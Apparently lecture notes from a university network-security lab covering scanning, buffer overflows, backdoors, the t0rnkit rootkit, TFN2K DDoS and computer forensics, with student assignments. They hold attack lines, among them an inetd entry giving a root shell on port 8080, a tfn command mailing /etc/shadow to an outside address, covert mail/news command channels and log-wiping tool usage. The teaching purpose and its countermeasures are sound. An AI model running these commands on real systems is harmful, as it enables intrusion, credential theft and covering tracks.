Hacking Techniques and Computer Forensics Analysis

Version 1.2 (changes click here )

Disclaimer:

All the materials provided here for educational use only and is not intended to be used for illegal activities. We provide the information to you "as is" and will not be held responsible for direct, indirect or incidental damages arising in any way out of the use of these materials.

Table of Content

The Threats
Classes of Attackers
How they hack in
Backdoor Management
Rootkit
Distributed Denial-Of-Service (DDOS):TFN2K - An Analysis
Computer Forensics
A) The Threats
1. Hacker Technologies
  - Internet Engineering
  - System Administration
  - Network Management
  - Reverse Engineering
  - Distributing Computing
  - Cryptography
  - Social Engineering
2. Hacking Tools become more and more sophisticated and powerful in term of
  - Efficiency
  - Distributing
  - Stealth
  - Automation
  - User friendliness
3. Attack Sophistication VS Intruder Technical Knowledge
4. These hacking tools could be easily download from the Internet =>
  - Hacker tool ability increases
  - Knowledge of hacker decreases
  - Population of hacker increases
  - Some day, even elementary school kid may hack into your system
5. Your host does not need to be as famous as yahoo or ebay to be targeted
  - They need a place to hide their trace
  - They need your host as a stepping stone to hack other sites
  - They need your host resource to carry out their activities
6. Your host security weakness can be identified by scan tool
7. Security of any network on the Internet depends on the security of every other networks
8. No network is really secure
9. The trends
  - Hacking activities become more and more common
  - Poor management networks will become the hackers playground
B) Classes of Attackers
- Script-kiddies
  - Do not have much skill
  - Having a very basic knowledge of networks and OS
  - Just download the packaged software and launch the attack. Often, they do not even know how the software works
  - 95% of the population
- Intermediate attackers
  - More skilled than script-kiddies
  - Having knowledge of UNIX, Windows, networks, protocols, and services
  - Most of them cannot identify new security holes in software and networks
- Expert attackers
  - They get their knowledge through work or training
  - They can identify security holes in a system or networks and can write program to exploit these weaknesses.
  - Most of them do not break the law but they feel it is necessary to warn vendors to fix the security problems ("proof of conecpt")
C) How they hack in
1. General Steps
  1. Locate the victim hosts by some scanning program
  2. Identify the victim host vulnerability
  3. Attack the victim host via this vulnerability
  4. Establish backdoors for later access
  5. After break-in, use this victim host to
    - run sniffer to collect user password information
    - hack or attack other network
    - use this victim host resource to carry out their activities
    - Web page defacement for certain assertion
  Some hacking tools can automate the above steps (i - iv) into a single command.
  (See the real case study at http://personal.ie.cuhk.edu.hk/~shlam/ssem/is/case1/)
2. Scanning
  Recalling the previous network monitoring and debugging module, a normal finger tcpdump should be like this:
  csh> /usr/local2/bin/tcpdump port finger tcpdump: listening on eth0 10:21:17.965990 ntec24.3281 > ntec23.finger: S 1618224228:1618224228(0) win 32120 <mss 1460,sackOK,timestamp 60111670[|tcp]> (DF) 10:21:17.966056 ntec23.finger > ntec24.3281: S 1618530563:1618530563(0) ack 1618224229 win 30660 <mss 1460,sackOK,timestamp 343486293[|tcp]> (DF) 10:21:17.966193 ntec24.3281 > ntec23.finger: . ack 1 win 32120 <nop,nop,timestamp 60111670 343486293> (DF) 10:21:17.966247 ntec24.3281 > ntec23.finger: P 1:3(2) ack 1 win 32120 <nop,nop,timestamp 60111670 343486293> (DF) 10:21:17.966286 ntec23.finger > ntec24.3281: . ack 3 win 30660 <nop,nop,timestamp 343486293 60111670> (DF) 10:21:18.077146 ntec23.finger > ntec24.3281: P 1:148(147) ack 3 win 31856 <nop,nop,timestamp 343486304 60111670> (DF) 10:21:18.077301 ntec24.3281 > ntec23.finger: . ack 148 win 31973 <nop,nop,timestamp 60111681 343486304> (DF) 10:21:18.077760 ntec23.finger > ntec24.3281: F 148:148(0) ack 3 win 31856 <nop,nop,timestamp 343486304 60111681> (DF) 10:21:18.077887 ntec24.3281 > ntec23.finger: . ack 149 win 31972 <nop,nop,timestamp 60111681 343486304> (DF) 10:21:18.077938 ntec24.3281 > ntec23.finger: F 3:3(0) ack 149 win 32120 <nop,nop,timestamp 60111681 343486304> (DF) 10:21:18.077959 ntec23.finger > ntec24.3281: . ack 4 win 31856 <nop,nop,timestamp 343486304 60111681> (DF)
  The connection starts with SYN packets, then the data transfer packets (PUSH) and finally ends with FIN and ACK packets.
  Now we examin the tcpdump of different scans. Notation: ntec23 is the server to be scanned while ntec24 is the scanner host.
  Plain TCP connect () scan
  The tcpdump is
  10:31:17.658406 ntec24.3953 > ntec23.finger: S 2262489697:2262489697(0) win 32120 <mss 1460,sackOK,timestamp 60171644[|tcp]> (DF) 10:31:17.658429 ntec23.finger > ntec24.3953: S 2259807488:2259807488(0) ack 2262489698 win 30660 <mss 1460,sackOK,timestamp 343546267[|tcp]> (DF) 10:31:17.658539 ntec24.3953 > ntec23.finger: . ack 1 win 32120 <nop,nop,timestamp 60171644 343546267> (DF) 10:31:17.854445 ntec23.finger > ntec24.3953: P 1:26(25) ack 2 win 31856 <nop,nop,timestamp 343546287 60171645> (DF) 10:31:17.854573 ntec24.3953 > ntec23.finger: R 2262489699:2262489699(0) win 0 The first three packets still obey TCP's three-way handshake (SYN,SYN/ACK,ACK). However, the does not end with FIN packets but with the RST packet. The scan does not expect any data transfer at all. As this TCP connect () scan still obey the TCP's three-way handshake, most NIDS can detect it. If the port is closed, says the pop3 port, the server will response a RST packet as follows.
  10:40:08.920279 ntec24.3795 > ntec23.pop3: S 2827217379:2827217379(0) win 32120 <mss 1460,sackOK,timestamp 60224775[|tcp]> (DF) 10:40:08.920308 ntec23.pop3 > ntec24.3795: R 0:0(0) ack 2827217380 win 0
  TCP SYN, or "half connect ()" scan
  The tcpdump is
  10:42:40.962388 ntec24.44947 > ntec23.finger: S 660033090:660033090(0) win 3072 10:42:40.962616 ntec23.finger > ntec24.44947: S 2958343995:2958343995(0) ack 660033091 win 31624 <mss 536> (DF) 10:42:40.962745 ntec24.44947 > ntec23.finger: R 660033091:660033091(0) win 0 The scanner sends a reset to any port reported as open by the victim, rather than continue with the three-way handshake. As the three-way handshake has not been completed, some old NIDS may not detect this scan.
  Similarly, a closed port will response a RST packet as follows.
  10:43:03.689160 ntec24.38245 > ntec23.pop3: S 1088233087:1088233087(0) win 1024 10:43:03.689316 ntec23.pop3 > ntec24.38245: R 0:0(0) ack 1088233088 win 0
  Stealth FIN, Xmas Tree, and Null Scan
  The tcpdump is
  10:52:34.601186 ntec24.35491 > ntec23.finger: F 0:0(0) win 1024 10:52:34.920570 ntec24.35492 > ntec23.finger: F 0:0(0) win 1024 10:52:42.320027 ntec24.35491 > ntec23.finger: F 0:0(0) win 1024 10:52:42.639999 ntec24.35492 > ntec23.finger: F 0:0(0) win 1024 10:53:01.789094 ntec24.63417 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:02.118432 ntec24.63418 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:07.598251 ntec24.63417 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:07.918197 ntec24.63418 > ntec23.finger: FP 0:0(0) win 4096 urg 0 10:53:20.762734 ntec24.45111 > ntec23.finger: . win 4096 10:53:21.066978 ntec24.45112 > ntec23.finger: . win 4096 10:53:24.327892 ntec24.45111 > ntec23.finger: . win 4096 10:53:24.636764 ntec24.45112 > ntec23.finger: . win 4096 Some firewalls may restrict the SYN packet in their network. This scan is using FIN, FIN/URG/PUSH and NULL flag (turns off all flags) packet to probe if the port is open or not so as to get around the firewall restriction.
  The idea of this is that closed ports are required to reply to your probe packet with an RST, while open ports must ignore the packets in question (see RFC 793). If scanners do not receive any reply with this scan, then they know the port is open.
  Here it is the response of a closed port
  10:53:41.675979 ntec24.55700 > ntec23.pop3: F 0:0(0) win 4096 10:53:41.675997 ntec23.pop3 > ntec24.55700: R 0:0(0) ack 0 win 0 10:53:54.003968 ntec24.35307 > ntec23.pop3: FP 0:0(0) win 4096 urg 0 10:53:54.004089 ntec23.pop3 > ntec24.35307: R 0:0(0) ack 0 win 0 10:54:08.265547 ntec24.52031 > ntec23.pop3: . win 4096 10:54:08.265671 ntec23.pop3 > ntec24.52031: R 0:0(0) ack 0 win 0
  Assignment C.2 (partner a and b do it separately)
  1. comment the rtlog and mrtg entry in crontab so that your tcpdump job will not be killed by the cron job
    #0/5 * * * * /usr/local2/share/mon/rtlog > /dev/null 2>&1
    #1-59/5 * * * * /mnt2/local/mrtg-2/bin/mrtg ....
  2. mkdir /usr/local/apache_x/htdocs/sysmon/security
    (where x is a for partner a and b for partner b)
  3. cd /usr/local/apache_x/htdocs/sysmon/security
  4. tcpdump the scanner packets Dump the output to ass_C2.html
  5. login your external partner host (ssh your_partner_host -l your_username). Then do the following scans to your host Also dump this result to ass_C2.html file
  6. Annotate your ass_C2.html and identify the scan packets of a open and closed port
3. Buffer Overflow Exploit
  One of the common method that hackers use to break into a system is Buffer Overflow Exploit. This problem is commonly exploited by hackers to get arbitrary commands executed by a program running with root permissions.
  In general, buffer overflow attack involves the following steps:
  1. stuffing more data into a buffer than it can handle
  2. overwrites the return address of a function
  3. switches the execution flow to the hacker code
  Process Memory Region
  
  An example of buffer overflow program
  Assignment C.3 (partner a and b do it separately)
  1. cd /usr/local/apache_x/htdocs/sysmon/security
  2. tcpdump the packets to a dump file
  3. Do the following normal pop3 qurey to victim
  4. Now try the pop3 buffer overflow attack Do not change anything at victim after you have broken into it
  5. Now, hit control C in window you run tcpdump in step ii to terminate the tcpdump and then extract the data from c3.dump
```
/usr/local2/bin/snort -devr c3.dump 
```
    Dump the data to ass_C3.html
  6. Annotate your ass_C3.html and identify the normal pop3 query packets and the buffer overflow attack packets
D) Backdoor Management

After hackers have broken into a host, they will build backdoors for later access and control of the host.
1) Type I: Interactive access
1. Install vulnerable daemons or programs for later access
  E.G. popper amd, named ... etc
  Counter Measures: Although hacker may fix the file acm timestamp, file size and checksum of these program, a good host based IDS, says using md5 signature check, can identify these program.
2. Establish the remote root acess through inetd
  E.G. Start another /usr/sbin/inetd instance using the the following configuration file 8080 stream tcp nowait root /bin/sh sh -iIn such case, hacker can get root access directly by telneting the victim host port 8080
  Counter Measures: Use NIDS to look for or detect any the unusual network flow in/out your network. Hacker may use unsuspected port number, says, 8080 (web proxy), 110 (pop mail), 119 (nntp) or even 80 (www). These may get around your NIDS. Hence, configure your firewall to minimum port access and monitor these open ports closely
  Assignment D.1 (partner a and b do it separately)
  1. cd /usr/local/apache_x/htdocs/sysmon/security
  2. Choose a port number (says 8080,110,119). Make sure it is different from your internal partner and is not open at your host
  3. tcpdump the packet on that port
  4. Create a /tmp/your_port_number file with the following line
  5. start up your inetd
  6. login your external partner host (ssh your_partner_host -l your_username). Then try to access your host through this backdoor. E.G. You are not necessary to follow the above example commands, you may run any command that you think suitable.
  7. Now, hit control C in window you run tcpdump in step iii to terminate the tcpdump and then extract the data from d1.dump
    Dump all the packets
```
 /usr/local2/bin/snort -dvr d1.dump 
```
    Trace the command that you have executed on your host via this backdoor
```
 /usr/local2/bin/snort -dvr d1.dump dst your_host and 'tcp[13] & 8 !=0'
```
    Identify the command and compare it with /root/.bash_history
```
tail  /root/.bash_history
whoami
finger
ps -ef
quit
exit
```
    Trace the command that your host responsed
```
 /usr/local2/bin/snort -dvr d1.dump src your_host and 'tcp[13] & 8 !=0'
```
    Dump the data to ass_D1.html
  8. Annotate your ass_D1.html
  9. kill your the backdoor inetd
```
csh> ps -ef|grep inetd
root       541     1  0 Sep21 ?        00:00:00 inetd
root     23301     1  0 16:57 ?        00:00:00 /usr/sbin/inetd /tmp/8080

csh> kill 23301
```
3. Use general user accounts
  Hackers' sniffer program may collect large amount of your user password from your network or directly crack the password from your password file. They will use these gnearl user accounts to login your host again and then get root shell by the pre-install trojaned programs. Or they may just create or modify a idle user account with 0 uid and 0 gid, such as
  Counter Measures: If your host is allowed for general user to login, you need to have close monitoring and control of your user activities at your host, says enable the lastcomm logging, install user restrict shell, enforce the password aging frequently.
2) Type II: Semi-interactive access
Using the tfn daemon
Besides DDOS attack, tfn allow you to run root command at a tfn daemon installed host. The tfn client and the tfn daemon communtion is in one way, faked source ip and encrypted. Hence, the communtion to tfn daemon is highly stealthy and highly untraceable. For example, ntec24 is faking the souce address 171.192.128.1 to sending the following command to its agent ntec23 where the tfn daemon is installed
```
/usr/local2/share/hdemo/tfn -h ntec23 -S 171.192.128.1 -c 10 -i "cat /etc/shadow|/bin/mail root@s24.hkntec.net"
```
At ntec23, the snort only show the faked source IP packets (udp/tcp/icmp) with data encrypted. 171.192.128.1 -> 192.168.64.23 ICMP TTL:204 TOS:0x0 ID:56870 ID:0 Seq:10653 ECHO REPLY 59 6D 65 44 57 63 6A 4D 77 77 73 48 4B 31 56 4B YmeDWcjMwwsHK1VK 36 78 62 45 6E 4B 4F 30 71 52 2F 52 59 74 57 37 6xbEnKO0qR/RYtW7 6B 43 66 68 61 6F 66 47 71 6B 4C 57 4F 72 50 63 kCfhaofGqkLWOrPc 42 51 75 58 72 2F 70 73 61 44 6B 6A 4D 62 48 6F BQuXr/psaDkjMbHo 56 37 6B 4F 66 30 47 62 6A 30 79 34 66 4D 51 32 V7kOf0Gbj0y4fMQ2 4B 48 64 6B 30 77 41 KHdk0wA ...
Assignment D.2 (cancel)

3) Type III: Non-interactive access
Thie type of access is highly stealthy and untraceable. It is also difficult to detect in NDIS because they use the most common and unsupected traffic (mail and usenet news) and there are so many anonymous mail relays and news servers that allow people to send mail and post news anonymously.
i) By mail
Hacker install a .forward file in a user account home directory so that mail to this user will execute a program.
In this seminar demo, user6 .foward is
"|/etc/.email" Hacker can send encryped command to user6 and /etc/.email will decrypt the command from the received mail and execute the command through pre-installed trojaned programs. e.g. encrypt_program command_file | mail -s "doooit" user6@s25.hkntec.net The subject "doooit" is just distinguish the hacker command mail from a normal mail.
Hacker can also send thier updated trojaned programs through this mechanism.
e.g. encrypt_program vulnerable_in.ftpd | mail -s "saveeeit" user6@s25.hkntec.net The subject "saveeeit" just tell the /etc/.email program to save the incoming program rather than execute it.
Counter Measures: the mail content is encrypted, it is difficult for the NIDS to detect this traffic. The better way to counter act it is to restrict user .forward file, enable senmail smrsh and close monitor the smrsh directory. A good host based IDS and good user/sendmail policy should help.
ii) By usenet news
Hackers post their encrypted command in a unsupected newsgroups, say alt.test. A user account at the victim host will read this posted news, decrypted it and execute it by crontab
In this seminar demo:
The hacker post the command to the "cuhk.erg.test" newsgroups with subject name "testting"
encrypt_program command_file |./pnews cuhk.erg.test testting The user6 account have the following crontab job to check the hacker posting 0 * * * * /etc/.newr cuhk.erg.test testting Note, /etc/.newr may delay randon minutes to get the news so as to get rid of the regularity of the read news frequency.
Counter Measures: NDIS does not help much as there is nothing we can trace from the network traffic unless your NDIS has close monitor of all usenet news traffic in your network. In addition, your NDIS should have the intelligent to detect this encrypted posted news. A better way to counter act it is to disable all user crontab job at your host. Grant the permission on reasonable request. A good host based IDS should help too.

E) Rootkit

After hackers have broken into a host, they may also install some trojaned programs (rootkit) to cover their trace.
In this cousrse, the 't0rnkit' rootkit mentioned in CERT Incident Note IN-2000-10: Widespread Exploitation of rpc.statd and wu-ftpd Vulnerabilities will be used of demostration in this module
This rootkit include the following trojaned programs to replace the original ones in the break-in host
The default hidden directory is /usr/src/.puta
```
  /bin/login            - general user get root shell
  /sbin/ifconfig        - hide promiscuous mode of the interface when running sniffer program
  /bin/ps               - hide process names specified in .1proc file
  /usr/bin/du           - hide files/directories specified in .1file file
  /bin/ls               - hide files/directories specified in .1file file
  /bin/netstat          - hide network connection specified in .1addr file
  /usr/sbin/in.fingerd  - general user get root shell
  /usr/bin/find         - hide files/directories specified in .1file file 
  /usr/bin/top          - hide process names specified in .1proc file

  Counter measure: Never trust any program at the suspected host. Use your
                   trusted program from your CDROM or floppy disk. However,
                   is the host kernel is also trojaned, then this cannot
                   help under this situation.

  
```
This rootkit also comes with the sniffer program (t0rn) and log eraser program (t0rnsb) which can erase a specified entry in most of the system log files, says log files in /var/log. However, this log eraser program does not have the intelligent to fix up the consistency of a log file. For examples, it can erase all the ftp connection log in the messages file according the input argument, however it does not remove the corresponding ftp close log entries. Therefore, by examining the log file carefully with the missing part, we can still find out some hacking activities, says the approximate hacking time.
Besides the above trojaned programs, the following programs/tools are also added for demo:
chfn - general user get root shell chsh - general user get root shell sz - fix the size of a a trojaned programs Usage: ./sz <original file> <new file> fix - fix the checksum of a trojaned programs Usage: fix original replacement [backup] wipe - clear last log file USAGE: wipe [ u|w|l|a ] ...options... UTMP editing: Erase all usernames : wipe u [username] Erase one username on tty: wipe u [username] [tty] WTMP editing: Erase last entry for user : wipe w [username] Erase last entry on tty : wipe w [username] [tty] LASTLOG editing: Blank lastlog for user : wipe l [username] Alter lastlog entry : wipe l [username] [tty] [time] [host] Where [time] is in the format [YYMMddhhmm] A simple touch command, "touch -acmr" can easily change the access time, status changed time and last modified time of a file or directory. Hence, do not 100% trust the acm timestamp in your ls and find command

F) Distributed Denial-Of-Service (DDoS):TFN2K - An Analysis
1. Attack model
  The client program tfn running on the Client sending commands to its server nodes which are running a server prgrom td. The ccommunication between the client and server nodes are encrypted with CAST 256 alorgthim (key length from 128 to 256). The communication packets are using random sourc IP via TCP , UDP and ICMP protocol. Hence, the communication is one way from client to server nodes.
  Once the server nodes recieve the commands from thier client, they commence the flood attack.
  TNF2K proives the following attacks:
  The attack packets to the victim are also using random source IP. Hence, it is difficult to trace the originity of the attack even sniffering the attack packages.
2. The Command menu of the client tfn
  The communication packtets between the client and server nodes are using random source IP. The command messages in the communciation packets between the client and master nodes are encrypted by CAST 256. BTW, there is a signature of these packets -- 0x41 at the end of each packtes.
3. The Attack Examples:
  ICMP flood attack
  The server node (ntec1 in this example) generate enormous ICMP flood to the victim with the random faked source IP.
  tcpdump does not show all the no. of these packets due to packets drop in the network interface but the swtich record down the traffic.
  Server node port traffic
4. MIX Attack using TCP, UTP and ICMP:
  snoop packet information at iest18
5. Victim loading
  Before the attack, the CPU is over 90% idle
  During the attack, the CPU Kernel loading shot up to 85%
  
  Assignment F (cancel)
6. Counter Measures
  There is no know way to defend against TFN2K. Many experts only suggest to prevent your own network resources from being used as clients or server node of the attack.
  1. Egress Filtering to Stop Spoofed IP Packets from Leaving Your Network
    Example:
  2. Disable IP Directed Broadcast on all Systems
  3. Secure your hosts to keep away hacking in
7. References:
  - http://packetstorm.securify.com/distributed/TFN2k_Analysis-1.3.txt
  - http://www.sans.org/dosstep/index.htm
G) Computer Forensics

Section Outline
I) On-line inspection
- clone the disk
- memory dump
- process investigation
- collect network information
- surveillance
II) Off-line inspection
- check the modify time, access time and status updated time of files
- check if there is any file is infected
- reverse engineering of suspicious programs/files
III) Recovery and exam of removed files (not from back up tape)
- dump the directory image (view the removed file name)
- identify the inode
- retrieve the removed file by icat
References
I) On-line inspection
Never trust any program or tool at a compromised host because they can be trojaned. Use your own tursted toolkit on floppy or cdrom
Clone the disk and copy data
- Efficiency VS Accuracy
- Copying the data to a remote host for later investigation
- - Using cp -p to prserve the owner and group id, permissions modes, modification and access time
```
	cp -rp directory target_directory
```
  - Copying the data to a remote host by ttcp or nc
```
	Received side
        nc -p 6666 -l > output          

        Send side 
        cat data |nc -w 3 receved_host 6666

        Received side                             
        /usr/local2/bin/ttcp -r -B | tar xvpf -    

        Send side
        tar cf - directory  |  /usr/local/bin2/ttcp  -t receved_host
```
  - Clone to other disk by dd
```
        dd if=/dev/rdsk/c0t0d0s7 of=/dev/rmt/0
        dd if=/dev/rdsk/c0t0d0s7 of=/dev/rdsk/same_size_disk
```
Memory Dump
Using dd to snasphot the memory
```
        dd if= /dev/kmem of=output
        dd if= /dev/mem  of=output
```
Process Investigation
- To view the running process enviroment
```
  /bin/ps auxeww 
        to view the running process enviroment
  
E.G.

The ./setiathome process 


USER       PID %CPU %MEM   VSZ  RSS TTY      STAT START   TIME COMMAND

shlam    12485 99.9 22.7 15492 14112 ?       RN   07:42 126:28 ./setiathome TERM=vt100 
DISPLAY=ntec5:10.0 HOME=/home/shlam SHELL=/bin/tcsh USER=shlam LOGNAME=shlam 
PATH=/usr/kerberos/bin:/bin:/usr/bin:/usr/local/bin:/usr/bin/X11:/usr/X11R6/bin 
HOSTTYPE=i386-linux VENDOR=intel OSTYPE=linux MACHTYPE=i386 SHLVL=1 PWD=/home/shlam/set 
GROUP=peter HOST=ntec5 
REMOTEHOST=ntec4.ie.cuhk.edu.hk HOSTNAME=ntec5 INPUTRC=/etc/inputrc LS_COLORS=no=00:fi=00:
di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:
ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:
*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:
*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;
35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35: KDEDIR=/usr LANG=en_US LESSOPEN
=|/usr/bin/lesspipe.sh %s QTDIR=/usr/lib/qt-2.1.0 HTTP_PROXY=proxy.ie.cuhk.edu.hk:8080
```
  Assignment G.1 (partner a and b do it separately)
  1. Partner a: restart named (/etc/rc.d/init.d/named restart)
    Parnter b: restart snmpd (/etc/rc.d/init.d/snmpd restart)
  2. cd /usr/local/apache_x/htdocs/sysmon/security
  3. Partner a: dump the named process enviroment and its current enviroment to Ass_G.html Partner b: dump the snmpd process enviroment and its current enviroment to Ass_G.html
  4. Identify the following information from the process enviroment and compare them with the information obtained from /usr/bin/env. Make annotation for that in Ass_G.html
- To view process opening file (lsof -p pid)
```
E.G. list the opening file of syslod (its pid is 467)

csh> lsof -p 467

COMMAND PID USER   FD   TYPE     DEVICE    SIZE   NODE NAME
syslogd 467 root  cwd    DIR        3,3    4096      2 /
syslogd 467 root  rtd    DIR        3,3    4096      2 /
syslogd 467 root  txt    REG        3,3   26352  96657 /sbin/syslogd
syslogd 467 root  mem    REG        3,3  340663 208505 /lib/ld-2.1.3.so
syslogd 467 root  mem    REG        3,3 4101324 208512 /lib/libc-2.1.3.so
syslogd 467 root  mem    REG        3,3  246652 208543 /lib/libnss_files-2.1.3.so
syslogd 467 root    0u  unix 0xc37c2ec0            502 /dev/log
syslogd 467 root    1w   REG        3,3  210439 229189 /var/log/messages
syslogd 467 root    2w   REG        3,3     114 229190 /var/log/secure
syslogd 467 root    3w   REG        3,3    1144 229191 /var/log/maillog
syslogd 467 root    4w   REG        3,3       0 229192 /var/log/spooler
syslogd 467 root    5w   REG        3,3   27428 229193 /var/log/boot.log
syslogd 467 root    6w   REG        3,3       0 226719 /var/log/news/news.crit
syslogd 467 root    7w   REG        3,3       0 226720 /var/log/news/news.err
syslogd 467 root    8w   REG        3,3       0 226718 /var/log/news/news.notice


       FD         is the File Descriptor number of the file or:

                       cwd  current working directory;
                       Lnn  library references;
                       ltx  shared library text (code and data);
                       Mxx  hex memory-mapped type number xx.
                       m86  DOS Merge mapped file;
                       mem  memory-mapped file;
                       pd   parent directory;
                       rtd  root directory;
                       txt  program text (code and data);
                       v86  VP/ix mapped file;

                  FD  is  followed  by  one of these characters, describing the mode under
                  which the file is open:

                       r for read access;
                       w for write access;
                       u for read and write access;
                       space if unknown and no lock character;
                       `-' if unknown and lock character.
```
  Assignment G.2 (partner a and b do it separately)
  1. cd /usr/local/apache_x/htdocs/sysmon/security
  2. dump lsof information of your /usr/local/apache_x/bin/httpd to Ass_G.html
    cat /usr/local/apache_x/logs/httpd.pid to get the process ID no. Then use lsof to dump the open files information to Ass_G.html
  3. Identify which log files does your httpd open and annotate them in Ass_G.html
- To trace a process library call (ltrace -p pid)
```
csh> ltrace -p 12485

getrusage(0, 0xbffff820, 0x4013dd60, 0x4013dd60, 0x64646465) = 0
free(0x40d46008)                                  = 
sprintf("outfile.sah", "%s%s", "", "outfile.sah") = 11
fopen("outfile.sah", "r")                         = 0x080731a8
fseek(0x080731a8, 0, 2, 0x0805de68, 0x40d46040)   = 0
ftell(0x080731a8, 0x0805d001, 0xbffff868, 0x0805033e, 0x080731a8) = 5208
fclose(0x080731a8)                                = 0
malloc(524355)                                    = 0x40d46008
```
- To trace a process system calls and signals (strace -p pid)
```
csh> strace -p 12485

old_mmap(NULL, 1052672, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40d46000
getrusage(RUSAGE_SELF, {ru_utime={7512, 860000}, ru_stime={12, 290000}, ...}) = 0
munmap(0x40d46000, 1052672)             = 0
open("outfile.sah", O_RDONLY)           = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=5208, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40015000
fstat(4, {st_mode=S_IFREG|0644, st_size=5208, ...}) = 0
_llseek(4, 4096, [4096], SEEK_SET)      = 0
read(4, "4 chirprate=7.926451e+00 maxpow="..., 1112) = 1112
close(4)                                = 0
munmap(0x40015000, 4096)                = 0
```
  Assignment G.3 (partner a and b do it separately)
  1. cd /usr/local/apache_x/htdocs/sysmon/security
  2. Partner a: run "top"; partner b: run "ping -i 5 your_external_host"
  3. Partner a: dump the first 50 lines of ltrace and strace of top prcoess
    Partner b: dump the first 50 lines of ltrace and strace of ping prcoess
  4. copy and paste ltrace and strace outputs to Ass_G.html
- To dump a process memory image
  - Stop the process before dump
```
	 kill -STOP pid
	 ps ax|grep T to check its status
```
  - Dump the process image
```
	 gcore -o core.file pid (for solaris)

	 pcat pid > dump.file  (by using CTC)
```
  - Resume the process if necessary
```
	 kill -CONT pid
```
  - peek the strings in the dump files (strings dump.file)
```
       csh> strings /tmp/syslogd.dump
       /lib/ld-linux.so.2
       __gmon_start__
       libc.so.6
       longjmp
       strcpy
       writev
       printf
       stdout
       getdtablesize
       recv
       strerror
       fdopen
       snprintf
       __ctype_b
       __rawmemchr
       __strtol_internal
       getpid
       fscanf
       fgets
       ...  
       	
```
Collect Network Information
- The host network connection (netstat)
```
csh> netstat

TCP
   Local Address        Remote Address    Swind Send-Q Rwind Recv-Q  State
-------------------- -------------------- ----- ------ ----- ------ -------
iesun7.telnet        banpc17.1040         32120      0 10136      0 ESTABLISHED
iesun7.40590         ieug0.50819          64240      0  8760      0 ESTABLISHED
iesun7.560           ieug0.nfsd           64240      0  8760      0 ESTABLISHED
iesun7.22            iest26.1022           8760      0  8760     20 ESTABLISHED
iesun7.40709         eng.32771             8760      0  8760      0 TIME_WAIT
iesun7.559           iest0.nfsd            8760      0  8760      0 ESTABLISHED
iesun7.40710         eng.32771             8760      0  8760      0 TIME_WAIT
iesun7.558           eng.nfsd              8760      0  8760      0 ESTABLISHED
iesun7.557           ieugb.nfsd            8760      0  8760      0 ESTABLISHED
Active UNIX domain sockets
```
- To list the open port (lsof -i)
```
ntec81:/var/log/tcpdump>  /usr/sbin/lsof -i
COMMAND    PID USER   FD   TYPE DEVICE SIZE NODE NAME
portmap    345 root    3u  IPv4    359       UDP *:sunrpc 
portmap    345 root    4u  IPv4    360       TCP *:sunrpc (LISTEN)
rpc.statd  370 root    0u  IPv4    406       UDP *:971 
rpc.statd  370 root    1u  IPv4    409       TCP *:973 (LISTEN)
identd     489 root    4u  IPv4    515       TCP *:auth (LISTEN)
identd     493 root    4u  IPv4    515       TCP *:auth (LISTEN)
identd     494 root    4u  IPv4    515       TCP *:auth (LISTEN)
identd     495 root    4u  IPv4    515       TCP *:auth (LISTEN)
identd     496 root    4u  IPv4    515       TCP *:auth (LISTEN)
inetd      539 root    4u  IPv4    562       TCP *:ftp (LISTEN)
inetd      539 root    5u  IPv4    563       TCP *:telnet (LISTEN)
inetd      539 root    6u  IPv4    564       TCP *:shell (LISTEN)
inetd      539 root    9u  IPv4    565       TCP *:login (LISTEN)
inetd      539 root   10u  IPv4    566       UDP *:talk 
inetd      539 root   11u  IPv4    567       UDP *:ntalk 
inetd      539 root   12u  IPv4    568       TCP *:finger (LISTEN)
inetd      539 root   13u  IPv4    569       TCP *:linuxconf (LISTEN)
lpd        553 root    6u  IPv4    586       TCP *:printer (LISTEN)
sendmail   601 root    4u  IPv4    631       TCP *:smtp (LISTEN)
sshd       740 root    3u  IPv4    725       TCP *:ssh (LISTEN)
xntpd      752 root    4u  IPv4    744       UDP *:ntp 
xntpd      752 root    5u  IPv4    745       UDP localhost.localdomain:ntp 
xntpd      752 root    6u  IPv4    746       UDP ntec81:ntp 
ypbind     768 root    4u  IPv4    761       UDP *:945 
ypbind     768 root    5u  IPv4    764       TCP *:947 (LISTEN)
ypbind     774 root    4u  IPv4    761       UDP *:945 
ypbind     774 root    5u  IPv4    764       TCP *:947 (LISTEN)
ypbind     774 root    8u  IPv4   1981       UDP *:952 
ypbind     774 root   14u  IPv4   1983       UDP *:953 
named     1260 root    4u  IPv4   1501       UDP *:1026 
named     1260 root   20u  IPv4   1497       UDP localhost.localdomain:domain 
named     1260 root   21u  IPv4   1498       TCP localhost.localdomain:domain (LISTEN)
named     1260 root   22u  IPv4   1499       UDP ntec81:domain 
named     1260 root   23u  IPv4   1500       TCP ntec81:domain (LISTEN)
httpd     1325 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1328 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1329 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1330 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1331 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1332 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1333 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1334 root   16u  IPv4   1596       TCP *:www (LISTEN)
httpd     1335 root   16u  IPv4   1596       TCP *:www (LISTEN)
sshd      3596 root    5u  IPv4  10725       TCP ntec81:ssh->fortress:1023 (ESTABLISHED)
sshd      3596 root    9u  IPv4  10732       TCP *:6010 (LISTEN)
```
- To trace a host (traceroute)
```
